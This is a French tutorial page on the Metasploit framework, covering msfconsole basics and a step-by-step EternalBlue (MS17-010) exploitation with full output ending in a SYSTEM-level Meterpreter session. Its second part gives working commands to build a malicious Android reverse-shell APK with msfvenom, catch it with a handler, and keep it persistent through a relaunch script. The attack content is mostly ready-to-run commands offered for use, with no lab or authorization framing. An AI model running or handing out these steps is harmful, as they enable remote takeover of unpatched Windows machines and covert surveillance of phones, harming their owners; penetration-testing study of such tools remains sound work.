

Metasploit

Un framework très puissant dans le monde de la Cybersécurité

- [Les bases](#)
- [Android payload](#)

Les bases

1/ Lancé Metasploit

Metasploit est installé de base sur les os Kali Linux et Parrot sinon il vous faudra la téléchargé et l'installé vous même

[Wiki - linux.org installé Metasploit](#)

Entré la commande suivante dans le terminal linux pour lancé la console Metasploit

```
msfconsole
```

Vous devriez vous retrouver avec une console msf5 > ou msf6 >

```
      .:ok000kdc'          'cdk000ko:.
      .x0000000000000c    c000000000000x.
      :00000000000000k,    ,k00000000000000:
      '000000000kkkk00000: :0000000000000000'
      o00000000 .MMMM.o0000o0000l .MMMM,00000000o
      d00000000 .MMMMMM,c00000c.MMMMMM,00000000x
      l00000000 .MMMMMMMMM;d;MMMMMMMMM,00000000l
      .00000000 .MMM.;MMMMMMMMMMMM,MMM,00000000.
      c00000000 .MMM.00c.MMMMM'o00.MMM,0000000c
      o0000000 .MMM.0000.MMM:0000.MMM,000000o
      l00000 .MMM.0000.MMM:0000.MMM,00000l
      ;0000'MMM.0000.MMM:0000.MMM;0000;
      .d00o'WM.0000occcX0000.MX'x00d.
      ,kOl'M.00000000000000.M'dOk,
      :kk;.00000000000000.;Ok:
      ;k0000000000000000k:
      ,x000000000000x,
      .l0000000l.
      ,dod,
      .
      = [ metasploit v6.1.14-dev ]
+ -- --[ 2180 exploits - 1155 auxiliary - 399 post ]
+ -- --[ 592 payloads - 45 encoders - 10 nops ]
+ -- --[ 9 evasion ]

Metasploit tip: Open an interactive Ruby terminal with
irb
msf6 >
```

Si la commande msfconsole vous donne rien, ces sûrement vous n'avez pas Metasploit d'installé.

Les Commandes communes de linux comme "ls", "cd", "clear", "history" ... marche aussi dans cette console.

2/ Les commandes Utiles

Command help / Obtenir l'aide

Obtenir l'aide pour le module set

```
help set
```

Command Search / Rechercher dans Metasploit

```
msf6 > search ms17-010

Matching Modules
-----
#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14      average Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1  exploit/windows/smb/ms17_010_psexec      2017-03-14      normal  Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2  auxiliary/admin/smb/ms17_010_command     2017-03-14      normal  No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3  auxiliary/scanner/smb/smb_ms17_010      2017-03-14      normal  No     MS17-010 SMB RCE Detection
4  exploit/windows/smb/smb_doublepulsar_rce 2017-04-14      great   Yes    SMB DOUBLEPULSAR Remote Code Execution

Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce
msf6 > |
```

La sortie de la commande **search** fournit un aperçu de chaque module renvoyé.

Vous pouvez voir le type de module (auxiliaire, exploit, etc.) et la catégorie du module (scanner, admin, windows, Unix, etc.).

Ranking Exploit

Une autre information essentielle renvoyée se trouve dans la colonne « rang ». Les exploits sont évalués en fonction de leur fiabilité. Le tableau ci-dessous fournit leurs descriptions respectives.

Ranking	Description
ExcellentRanking	The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances (WMF Escape()).
GreatRanking	The exploit has a default target AND either auto-detects the appropriate target or uses an application specific return address AFTER a version check.
GoodRanking	The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc).
NormalRanking	The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect.
AverageRanking	The exploit is generally unreliable or difficult to exploit.
LowRanking	The exploit is nearly impossible to exploit (or under 50% success rate) for common platforms.
ManualRanking	The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/unix/webapp/php_eval).

Vous pouvez utiliser n'importe quel module renvoyé dans un résultat de recherche avec la commande use suivie du numéro au début de la ligne de résultat.

Par exemple, "use 0" au lieu d'utiliser

"auxiliaire/admin/smb/smb:ms17_010_command"

Vous pouvez orienter la fonction de recherche à l'aide de mots-clés tels que type et plateforme.

Par exemple, si nous voulions que nos résultats de recherche n'incluent que des modules auxiliaires, nous pourrions définir le type sur auxiliaire. La capture d'écran ci-dessous montre la sortie de la commande **search type:auxiliary telnet**.

```
msf6 > search type:auxiliary telnet

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  auxiliary/server/capture/telnet          normal          No     Authentication Capture: Telnet
1  auxiliary/scanner/telnet/brocade_enable_login  normal          No     Brocade Enable Login Check Scanner
2  auxiliary/dos/cisco/ios_telnet_rocem     2017-03-17     normal No     Cisco IOS Telnet Denial of Service
3  auxiliary/admin/http/dlink_dir_300_500_exec_noauth  2013-02-04     normal No     D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution
4  auxiliary/scanner/ssh/juniper_backdoor   2015-12-20     normal No     Juniper SSH Backdoor Scanner
5  auxiliary/scanner/telnet/lantronix_telnet_password  normal          No     Lantronix Telnet Password Recovery
6  auxiliary/scanner/telnet/lantronix_telnet_version  normal          No     Lantronix Telnet Service Banner Detection
7  auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof  2010-12-21     normal No     Microsoft IIS FTP Server Encoded Response Overflow Trigger
8  auxiliary/admin/http/netgear_pnp_getsharefolderlist_auth_bypass  2021-09-06     normal Yes    Netgear PNPX_GetShareFolderList Authentication Bypass
9  auxiliary/admin/http/netgear_r6700_pass_reset  2020-06-15     normal Yes    Netgear R6700v3 Unauthenticated LAN Admin Password Reset
10 auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce  2021-04-21     normal Yes    Netgear R7000 backup.cgi Heap Overflow RCE
11 auxiliary/scanner/telnet/telnet_ruggedcom  normal          No     RuggedCom Telnet Password Generator
12 auxiliary/scanner/telnet/satel_cmd_exec  2017-04-07     normal No     Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability
13 auxiliary/scanner/telnet/telnet_login     normal          No     Telnet Login Check Scanner
14 auxiliary/scanner/telnet/telnet_version  normal          No     Telnet Service Banner Detection
15 auxiliary/scanner/telnet/telnet_encrypt_overflow  normal          No     Telnet Service Encryption Key ID Overflow Detection

Interact with a module by name or index. For example info 15, use 15 or use auxiliary/scanner/telnet/telnet_encrypt_overflow

msf6 > |
```

3/ Utilisé un module

Maintenant qu'on sait trouver un module nous pouvons l'utilisé avec la commande **use** suivi du chemin complet exemple :

```
use exploit/windows/smb/ms17_010_eternalblue
```

```
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > █
```

De nouvelles commandes vont nous être utiles pour mieux comprendre comment l'outil fonction ou de quel information il a besoin.

command info

Info n'est pas un menu d'aide ; il affichera des informations détaillées sur le module telles que son auteur, les sources pertinentes, etc.

De plus amples informations sur n'importe quel module peuvent être obtenues en tapant la commande info dans son contexte.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > info
Name: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
Modules: exploit/windows/smb/ms17_010_eternalblue
Platform: Windows
Arch: x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Average
Disclosed: 2017-03-14

Provided by:
Equation Group
Shadow Brokers
sleepya
Sean Dillon <sean.dillon@risksense.com>
Dylan Davis <dylan.davis@risksense.com>
thelightcosine
wvu <wvu@metasploit.com>
agalway-r7
cdela Fuente-r7
agalway-r7

Available targets:
Id Name
--
0 Automatic Target
1 Windows 7
2 Windows Embedded Standard 7
3 Windows Server 2008 R2
4 Windows 8
5 Windows 8.1
6 Windows Server 2012
7 Windows 10 Pro
8 Windows 10 Enterprise Evaluation

Check supported:
Yes

Basic options:
Name Current Setting Required Description
-----
RHOSTS 445 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 445 yes The target port (TCP)
SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

Payload information:
Space: 2000
```

```
Description:
This module is a part of the Equation Group ETERNALBLUE exploit,
part of the FuzzBunch toolkit released by Shadow Brokers. There is a
buffer overflow memmove operation in Srv!SrvOs2FeaToMt. The size is
calculated in Srv!SrvOs2FeaListSizeToMt, with mathematical error
where a DWORD is subtracted into a WORD. The kernel pool is groomed
so that overflow is well laid-out to overwrite an SMBv1 buffer.
Actual RIP hijack is later completed in
srvc!SrvNetWskReceiveComplete. This exploit, like the original may
not trigger 100% of the time, and should be run continuously until
triggered. It seems like the pool will get hot streaks and need a
cool down period before the shells rain in again. The module will
attempt to use Anonymous login, by default, to authenticate to
perform the exploit. If the user supplies credentials in the
SMBUser, SMBPass, and SMBDomain options it will use those instead.
On some systems, this module may cause system instability and
crashes, such as a BSOD or a reboot. This may be more likely with
some payloads.

References:
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010
https://nvd.nist.gov/vuln/detail/CVE-2017-0143
https://nvd.nist.gov/vuln/detail/CVE-2017-0144
https://nvd.nist.gov/vuln/detail/CVE-2017-0145
https://nvd.nist.gov/vuln/detail/CVE-2017-0146
https://nvd.nist.gov/vuln/detail/CVE-2017-0147
https://nvd.nist.gov/vuln/detail/CVE-2017-0148
https://github.com/RiskSense-Ops/MS17-010
https://risky.com/wp-content/uploads/2018/05/White-Paper_Eternal-Blue.pdf
https://www.exploit-db.com/exploits/42030

Also known as:
ETERNALBLUE

View the full module info with the info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) > |
```

Vous pouvez également utiliser la commande **info** suivie du chemin du module à partir de l'invite msfconsole (par exemple, **info exploit/windows/smb/ms17_010_eternalblue**).

command show options

La commande show peut être utilisée dans n'importe quel contexte suivie d'un type de module (auxiliaire, charge utile, exploit, etc.) pour lister les modules disponibles.

L'exemple ci-dessous répertorie les charges utiles pouvant être utilisées avec l'exploit ms17-010 Eternalblue.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):


| Name          | Current Setting | Required | Description                                                                                                                                           |
|---------------|-----------------|----------|-------------------------------------------------------------------------------------------------------------------------------------------------------|
| RHOSTS        |                 | yes      | The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit                                                          |
| RPORT         | 445             | yes      | The target port (TCP)                                                                                                                                 |
| SMBDomain     |                 | no       | (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines. |
| SMBPass       |                 | no       | (Optional) The password for the specified username                                                                                                    |
| SMBUser       |                 | no       | (Optional) The username to authenticate as                                                                                                            |
| VERIFY_ARCH   | true            | yes      | Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.     |
| VERIFY_TARGET | true            | yes      | Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.               |


Payload options (windows/x64/meterpreter/reverse_tcp):


| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | thread          | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    | 192.168.3.115   | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4444            | yes      | The listen port                                           |


Exploit target:


| Id | Name             |
|----|------------------|
| 0  | Automatic Target |


View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) > |
```

Cela imprimera les options liées à l'exploit que nous avons choisi plus tôt. La commande **show options** aura des sorties différentes selon le contexte dans lequel elle est utilisée.

L'exemple ci-dessus montre que cet exploit nécessitera que nous définissions des variables telles que RHOSTS et RPORT.

N'oubliez pas qu'en fonction du module que vous utilisez, des paramètres supplémentaires ou différents peuvent devoir être définis.

Utilise la commande show options pour répertorier les paramètres requis.

command set

Il est recommandé d'utiliser la commande show options pour répertorier les paramètres requis.

Tous les paramètres sont définis à l'aide de la même syntaxe de commande :

set PARAMETER_NAME VALUE

Exemple :

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):

```

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), s
RPORT	445	yes	The target port (TCP)

Nous voyons que RHOSTS a besoin d'une valeur et nous allons lui donner avec la commande suivante.

```
set RHOSTS 66.66.66.66
```

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 66.66.66.66
RHOSTS => 66.66.66.66
msf6 exploit(windows/smb/ms17_010_eternalblue) > █
```

Le changement a bien été effectué.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):

```

Name	Current Setting	Required	Description
RHOSTS	66.66.66.66	yes	The target host(s), se
RPORT	445	yes	The target port (TCP)

Il faudra remettre les valeurs a chaque changement de module

La commande **setg** de gardé en mémoire les valeurs jusqu'à la fermeture de Metasploit ou effacer le avec la commande **unsetg**

command show

La commande **show** peut être utilisée dans n'importe quel contexte suivie d'un type de module (auxiliary, payload, exploit, etc.) pour lister les modules disponibles.

L'exemple ci-dessous répertorie les payload pouvant être utilisées avec l'exploit ms17-010 Eternalblue.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads
Compatible Payloads
-----
#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  payload/generic/custom                    normal          No     Custom Payload
1  payload/generic/shell_bind_tcp            normal          No     Generic Command Shell, Bind TCP Inline
2  payload/generic/shell_reverse_tcp        normal          No     Generic Command Shell, Reverse TCP Inline
3  payload/generic/ssh/interact              normal          No     Interact with Established SSH Connection
4  payload/windows/x64/custom/bind_ipv6_tcp normal          No     Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager
5  payload/windows/x64/custom/bind_ipv6_tcp_uuid normal          No     Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support
6  payload/windows/x64/custom/bind_named_pipe normal          No     Windows shellcode stage, Windows x64 Bind Named Pipe Stager
7  payload/windows/x64/custom/bind_tcp      normal          No     Windows shellcode stage, Windows x64 Bind TCP Stager
8  payload/windows/x64/custom/bind_tcp_rc4  normal          No     Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)
9  payload/windows/x64/custom/bind_tcp_uuid normal          No     Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)
10 payload/windows/x64/custom/reverse_http  normal          No     Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)
11 payload/windows/x64/custom/reverse_https normal          No     Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)
12 payload/windows/x64/custom/reverse_named_pipe normal          No     Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager
13 payload/windows/x64/custom/reverse_tcp   normal          No     Windows shellcode stage, Windows x64 Reverse TCP Stager
14 payload/windows/x64/custom/reverse_tcp_rc4 normal          No     Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
15 payload/windows/x64/custom/reverse_tcp_uuid normal          No     Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)
16 payload/windows/x64/custom/reverse_winhttp normal          No     Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)
17 payload/windows/x64/custom/reverse_winhttps normal          No     Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)
18 payload/windows/x64/exec                  normal          No     Windows x64 Execute Command
```

Tous les paramètre pour la commande "show" : all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info, options, favorites

command back

Vous pouvez quitter le contexte en utilisant la commande **back**.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > back
msf6 > █
```

command exploit / run

Utiliser des modules

Une fois tous les paramètres du module définis, vous pouvez lancer le module à l'aide de la commande `exploit`.

Metasploit prend également en charge la commande `run`, qui est un alias créé pour la commande `exploit` car le mot `exploit` n'avait pas de sens lors de l'utilisation de modules qui n'étaient pas des exploits (scanners de ports, scanners de vulnérabilités, etc.).

La commande `exploit` peut être utilisée sans aucun paramètre ou en utilisant le paramètre `"-z"`.

La commande `exploit -z` exécutera l'exploit et mettra la session en arrière-plan dès son ouverture.

```
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit -z

[*] Started reverse TCP handler on 10.10.44.70:4444
[*] 10.10.12.229:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.12.229:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.12.229:445 - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.12.229:445 - Connecting to target for exploitation.
[+] 10.10.12.229:445 - Connection established for exploitation.
[+] 10.10.12.229:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.12.229:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.12.229:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.12.229:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.12.229:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.12.229:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.12.229:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.12.229:445 - Sending all but last fragment of exploit packet
[*] 10.10.12.229:445 - Starting non-paged pool grooming
[+] 10.10.12.229:445 - Sending SMBv2 buffers
[+] 10.10.12.229:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.12.229:445 - Sending final SMBv2 buffers.
[*] 10.10.12.229:445 - Sending last fragment of exploit packet!
[*] 10.10.12.229:445 - Receiving response from exploit packet
[+] 10.10.12.229:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.12.229:445 - Sending egg to corrupted connection.
[*] 10.10.12.229:445 - Triggering free of corrupted buffer.
[*] Sending stage (201283 bytes) to 10.10.12.229
[*] Meterpreter session 2 opened (10.10.44.70:4444 -> 10.10.12.229:49186) at 2021-08-20 02:06:48 +0100
[+] 10.10.12.229:445 - =====
[+] 10.10.12.229:445 - =====WIN=====
[+] 10.10.12.229:445 - =====
[*] Session 2 created in the background.
msf5 exploit(windows/smb/ms17_010_eternalblue) >
```

command sessions

La commande **sessions** peut être utilisée à partir de l'invite msfconsole ou de n'importe quel module pour voir les sessions existantes créées par un exploit.

```
Active sessions
=====

  Id  Name  Type  Information  Connection
  --  -
  1   meterpreter x64/windows NT AUTHORITY\SYSTEM @ JON-PC 10.10.44.70:4444 -> 10.10.12.229:49163 (10.10.12.229)
  2   meterpreter x64/windows NT AUTHORITY\SYSTEM @ JON-PC 10.10.44.70:4444 -> 10.10.12.229:49186 (10.10.12.229)
```

Pour interagir (se connecter) avec n'importe quelle session, vous pouvez utiliser la commande **sessions -i ID**

```
msf5 > sessions -i 2
[*] Starting interaction with 2...

meterpreter >
```

La session est connectée, et maintenant nous avons accès à la console meterpreter.

4/ Meterpreter

Meterpreter est un outil qui permet de réaliser toutes sortes d'actions sur la machine cible. Par exemple, nous pouvons télécharger des fichiers, lancer un Keylogger, prendre une capture d'écran, etc...

Android payload

from https://www.youtube.com/watch?v=AT-1_ujA7M

commencer par créer une application malveillante a laide de msfvenom

port et ip du pc host
lhost=192.168.1.176
lport=45678

```
msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.176 lport=45678 >
~/Desktop/payload.apk
```

le push dans un téléphone
adb push payload.apk sdcard/Download/

installer et lancer lapplication avec tout les droit

ouvrir la console sur le pc host

metasploit

```
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.1.176
set lport 45678
run
```

quand un appareil sera connecter il ouvrira une meterpreter session

Commande pour avoir les info sur lappareil
sysinfo

on va rendre le payload persistant a laide dun script

persistent.sh

```
#!/bin/bash
while :
do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 20
done
```

créer un script avec ce code

se connecter a une session (appareil avec le payload)

```
sessions -i 1
sessions -i x
```

quand on a "metrpreter > " nous somme dans un appareil on peut utiliser cd et ls pour se déplacer on va a la racine puis sdcard et download
cd /sdcard/Download

on upload le script

```
upload ~/github/androidpayload/persistent.sh
```

on utiliser la commande pour passer sur le terminal

```
shell
```

et on executer le fichier

```
sh persistent.sh
```

puis CTRL+Z pour passer le shell en background on confirme

```
commande background pour mettre la session en arriere plan
background
```